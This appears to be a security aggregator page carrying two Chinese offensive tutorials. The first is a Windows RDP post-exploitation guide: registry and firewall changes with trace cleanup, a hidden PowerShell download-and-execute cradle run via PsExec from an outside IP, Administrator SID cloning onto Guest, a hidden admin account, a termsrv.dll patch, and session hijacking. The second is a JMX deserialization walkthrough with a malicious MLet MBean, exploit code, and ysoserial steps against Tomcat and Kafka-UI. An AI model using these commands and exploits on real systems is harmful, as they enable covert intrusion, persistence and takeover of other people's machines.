Aggregator
Windows远程桌面的奇技淫巧
Windows远程桌面的奇技淫巧
-
Windows远程桌面简介
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)
-
远程桌面的前置条件
在获取权限后,针对3389进行展开,先查询3389端口是否开启
netstat -ano | findstr 3389发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f (开启)REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f (关闭)
若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)
有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f为了避免运维人员更改了RDP端口,可以确认下RDP端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber正常若是3389端口为0xd3d(默认是十六进制表示)
在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow通过命令删除防火墙的通行策略(清理痕迹)
netsh advfirewall firewall delete rule name="RemoteDesktop"-
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
-
利用步骤(默认情况下需要system权限)
在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)
shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)
查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)
这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg
regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users00001F4将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)
download admin.reg将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users00001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)
将new.reg重新上传到受害机中
导入编辑好的new.reg文件
regedit /s new.reg修改Guest密码便于远程登录,并及时清理两个reg文件
net user Guest Admin@123del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg
此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!
新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面-
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
-
利用步骤
添加新隐藏用户
net user yuzi$ Admin@123 /add将新隐藏用户添加到管理员组
net localgroup administrators yuzi$ /add此时直接进行远程登录隐藏账户,进行图形化操作
若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)
此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)
takeown /F c:\Windows\System32\termsrv.dll /Aicacls c:\Windows\System32\termsrv.dll /grant Administrators:F
修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份
copy c:\Windows\System32\termsrv.dll termsrv.dll_backup接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地
download c:\Windows\System32\termsrv.dll在编辑dll前需要确认当前系统的版本号,查看Windows的版本号
powershell Get-ComputerInfo -Property WindowsVersion, OsName通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90
修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)
net stop TermService /ycopy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService
重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面
借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)
在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)
若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面
接下来进行劫持(劫持administrator的会话),查询可劫持的会话
quser以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面
sc start rdp & sc delete rdp & exit远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)
net user yuzi$ /delete
Тайная слежка: обнаружена фальшивая вышка для перехвата звонков
Weekly Retro 2025-W02
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
火线安全|年终大奖熠熠生辉,一起迎接年终分红时刻!
Mitigating OpenVPN Fingerprinting: Risks and Defensive Strategies
What are some sql queries to bypass login
JMX 反序列化漏洞
JMX 反序列化漏洞
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX 基础 JMX 前置知识JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
-
standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
-
dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
以下代码实现简单的 JMX demo,文件结构
├── HelloWorld.java├── HelloWorldMBean.java
└── jmxDemo.java
HelloWorldMBean.java
package org.example;public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package org.example;public class HelloWorld implements HelloWorldMBean{
private String name = "Drunkbaby";
@Override
public void sayhello() {
System.out.println("hello world" + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package org.example;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jmxDemo {
public static void main(String[] args) throws Exception{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsName = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mBeanServer.registerMBean(mbean, mbsName);
// 创建一个 RMI Registry
Registry registry = LocateRegistry.createRegistry(1099);
// 构造 JMXServiceURL,绑定创建的 RMI
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// 构造JMXConnectorServer,关联 mbserver
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready");
System.out.println("press any key to exit.");
System.in.read();
}
}
其中
-
Probe Level:创建了 HelloWorldMBean 实例 mbean
-
Agent Level:创建了 MBeanServer 实例 mbs
-
Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
MletMlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
-
启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
-
使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
-
调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
-
JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
-
攻击者最终调用来自恶意 MBean 的方法
-
下面我们来编写一个漏洞实例。
文件结构
├── Evil.java└── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet;public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
package com.drunkbaby.mlet;import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
} Mlet Server
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>整体结构如图
Attack CodeExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet;import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn("localhost","1099","open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 通过rmi创建 jmx连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ "http://localhost:4141/evil.html"},
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
// step4: 执行恶意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735 漏洞描述这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
-
漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现-
漏洞复现的 EXP 已经有了
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try {RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);
cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());
cs.start();
registry.bind("jmxrmi", server);
log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
} catch (AlreadyBoundException | IOException var15) {
log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);
}
很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package ysoserial.exploit;import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本Kafka-UI <= 0.7.1
环境搭建Kafka-UI 的 docker
version: '3.8'services:
kafka-ui:
image: provectuslabs/kafka-ui:v0.7.1
container_name: kafka-ui
environment:
- DYNAMIC_CONFIG_ENABLED=true
- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ports:
- "8080:8080"
- "5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了
version: '2'services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka 漏洞复现
使用 ysoserial 直接打,起一个恶意的 JMX 服务。
git clone https://github.com/artsploit/ysoserial/cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
开启了之后,使用 Kafka-UI 去连接该 JMX
第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"攻击成功
漏洞分析通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法
后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。